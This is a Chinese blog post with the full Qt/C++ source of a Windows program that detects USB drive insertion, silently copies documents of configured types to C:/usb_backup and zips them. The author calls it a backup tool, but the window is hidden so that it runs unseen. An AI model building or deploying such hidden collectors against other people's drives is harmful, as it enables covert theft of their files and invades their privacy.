环境说明
windows+qt5.7.0MinGw
整体软件的说明
对u盘文件的过滤性打包
- 1.用qt信号槽的机制监视可移动的插入和拔出,一旦有插入,立即进行备份
- 2.压缩采用quazip的压缩方式
- 3.对文件的备份包含了对文件的过滤
- 4.抛出ini配置文件,用户可以根据需要进行软件的配置
运行的事例
这是在软件打包的时候允许弹出命令窗口的效果,仅演示用,真时的不存在任何窗口
默认的存储的位置在C盘usb_backup.打包的文件的默认类型:txt,doc,docx,pdf,html
可西行修改位置
结束进程
以下为开发的源码(三个文件)
//getufile.h
#ifndef GETUFILE_H
#define GETUFILE_H
#include <QWidget>
#include <QDebug>
#include<QStorageInfo>
#include<QString>
#include<QException>
#include<windows.h> //windows下调用识别可移动的盘
#include <dbt.h> //windows磁盘的插入和退出用到
#include<QDateTime>
#include<QSettings>
#include<QCoreApplication>
#include "JlCompress.h"
class GetUFile : public QWidget
{
Q_OBJECT
public:
GetUFile(QWidget *parent = 0);
~GetUFile();
void test();
QStringList getRemoveDisk();
QString getDestFileName(const QString& src_file_name);
void readPath(QString path);
bool copyFile(QString src_file,QString dest_file );
void run();
void zipFile();
void readSet();
signals:
void sigUDiskCome(QString uDiskName);
void sigUDiskRemove();
protected:
// 可移动磁盘的插入和拔出检测
bool nativeEvent(const QByteArray &eventType, void *message, long *result);
private:
// 可移动磁盘的插入和拔出检测
char FirstDriveFromMask(ULONG unitmask);
private:
QString backup_path;
QStringList absolute_files_name;
QStringList accept_file_types;
};
#endif // GETUFILE_H
//getufile.cpp
#include "getufile.h"
GetUFile::GetUFile(QWidget *parent)
: QWidget(parent)
{
//0.===========配置备份的路径及其文件类型============
qDebug()<<"配置备份的路径及其文件类型";
this->readSet();
this->run();
connect(this,QOverload<QString>::of(&GetUFile::sigUDiskCome),[this]{
qDebug()<<"检测到新的磁盘";
this->run();
});
connect(this,QOverload<>::of(&GetUFile::sigUDiskRemove),[this]{
qDebug()<<"检测磁盘退出";
});
this->show();
this->hide();
}
GetUFile::~GetUFile()
{
}
void GetUFile::test()
{
this->run();
}
QStringList GetUFile::getRemoveDisk()
/*
* 获取此电脑的所有的可移动磁盘
* param:None
* return:可移动磁盘的list
*/
{
QFileInfoList list = QDir::drives(); //获取当前系统的盘符
QStringList remove_disk_list;
for(int i=0;i<list.count();i++){
if(GetDriveType((WCHAR *) list[i].filePath().utf16()) == DRIVE_REMOVABLE){
remove_disk_list.append(list[i].filePath());
}
}
return remove_disk_list;
}
QString GetUFile::getDestFileName(const QString& src_file_name)
/*
* 构建新的地址,存放复制的文件
* param src_file_name:源文件的地址
* return:dst_file_name构建出的新文件的地址
*/
{
QStringList file_path=src_file_name.split("/");
QString des_file_path=this->backup_path+"/backup_file";
for(int i=1;i<file_path.length();i++){
des_file_path+="/"+file_path[i];
}
return des_file_path;
}
void GetUFile::readPath(QString path)
/*
* 用于遍历路径的全部文件
* param path:路径的名称
* return:None
*/
{
QDir dir;
QFileInfoList list;
QFileInfo file_info;
dir.setPath(path);
if (!dir.exists())
return ;
list.clear();
list = dir.entryInfoList(QDir::Files|QDir::Hidden|QDir::Dirs,QDir::Time);
for(int i=0;i<list.size();i++){
file_info=list.at(i);
if (file_info.fileName()=="." || file_info.fileName()=="..")
continue;
if (file_info.isDir()){
readPath(file_info.filePath());
}
else{
this->absolute_files_name<<file_info.absoluteFilePath();
}
}
}
bool GetUFile::copyFile(QString src_file, QString dest_file)
/*
* 文件的复制,复制整个可移动磁盘,包含文件的过滤复制,还有就是已经
* 存在了则不进行复制
* param src_file: 源文件
* param dest_file:目的文件
* return bool:是否进行了复制
*/
{
if(this->accept_file_types.contains(QFileInfo(dest_file).completeSuffix())){
QFileInfo file_info(dest_file);
if (file_info.exists())//已经复制过了,则跳出这个函数
return false;
QDir dir(file_info.absolutePath());
if(!dir.exists()) //文件夹不存在则新建
dir.mkpath(file_info.absolutePath());
if(QFile::copy(src_file,dest_file)){
qDebug()<<"复制"<<src_file;
return true;
}
else
return false;
}
return false;
}
void GetUFile::run()
/*
* 最主要进行文件的复制,此函数一旦有可移动磁盘接进来,自动调用
*/
{
//1.==========得到所有源路径的文件名称===============
qDebug()<<"得到所有源路径的文件名称和目的路径的文件名称";
foreach (QString path,this->getRemoveDisk()) {
this->absolute_files_name.clear();
this->readPath(path);
if(this->absolute_files_name.length()==0)
return;
//1.1==============进行文件的复制===================
qDebug()<<"进行文件的复制";
foreach (QString src_file_name, this->absolute_files_name) {
QString dest_file_name=this->getDestFileName(src_file_name);
this->copyFile(src_file_name,dest_file_name);
}
}
//2==============进行文件的压缩===================
qDebug()<<"进行文件的压缩";
this->zipFile();
qDebug()<<"操作完成";
}
void GetUFile::zipFile()
/*
* 当所有的可移动的磁盘进行拷贝完毕时,压缩整个拷贝的文件夹
*/
{
if(false==JlCompress::compressDir
(this->backup_path+"/backup_zip/backup.zip",this->backup_path+"/backup_file"))
qDebug()<<"compress failed";
else
qDebug()<<"compress successed";
}
void GetUFile::readSet()
/*
* 配置文件的设置,如果不存在则新建,存在则读取
*/
{
QFileInfo set_ini(QCoreApplication::applicationDirPath() + "./settings.ini");
QSettings *settor=NULL;
if(!set_ini.exists())
{
qDebug()<<"新建配置文件"<<set_ini.absoluteFilePath();
settor=new QSettings(set_ini.absoluteFilePath(),QSettings::IniFormat);
settor->setValue("backup/location","C:/usb_backup");
settor->setValue("file/type","txt,doc,docx,pdf,html");
}
else
{
settor=new QSettings(set_ini.absoluteFilePath(),QSettings::IniFormat);
}
this->backup_path=settor->value("backup/location").toString();
foreach (QString filter, settor->value("file/type").toString().split(",")) {
this->accept_file_types.append(filter);
}
qDebug()<<"备份的位置"<<this->backup_path;
qDebug()<<"备份的文件类型"<<this->accept_file_types;
}
bool GetUFile::nativeEvent(const QByteArray &eventType, void *message, long *result)
/*
* 可移动磁盘的插入检测1
*/
{
MSG* msg = reinterpret_cast<MSG*>(message);
int msgType = msg->message;
if(msgType==WM_DEVICECHANGE)
{
PDEV_BROADCAST_HDR lpdb = (PDEV_BROADCAST_HDR)msg->lParam;
switch (msg->wParam) {
case DBT_DEVICEARRIVAL:
if(lpdb->dbch_devicetype == DBT_DEVTYP_VOLUME)
{
PDEV_BROADCAST_VOLUME lpdbv = (PDEV_BROADCAST_VOLUME)lpdb;
if(lpdbv->dbcv_flags ==0)
{
QString USBDisk = QString(FirstDriveFromMask(lpdbv ->dbcv_unitmask));
emit sigUDiskCome(USBDisk);
}
}
break;
case DBT_DEVICEREMOVECOMPLETE:
if(lpdb->dbch_devicetype == DBT_DEVTYP_VOLUME)
{
PDEV_BROADCAST_VOLUME lpdbv = (PDEV_BROADCAST_VOLUME)lpdb;
if(lpdbv->dbcv_flags == 0)
{
emit sigUDiskRemove();
}
}
break;
}
}
return false;
}
char GetUFile::FirstDriveFromMask(ULONG unitmask)
/*
* 可移动磁盘的插入检测2
*/
{
char i;
for (i = 0; i < 26; ++i)
{
if (unitmask & 0x1)
break;
unitmask = unitmask >> 1;
}
return (i + 'A');
}
//main.cpp
#include "getufile.h"
#include <QApplication>
int main(int argc, char *argv[])
{
QApplication a(argc, argv);
GetUFile w;
return a.exec();
}
以上主要的软件源码,整体的见
https://download.csdn.net/download/qq_33564134/11168105
或者
https://github.com/zylgzz/GetUFileQT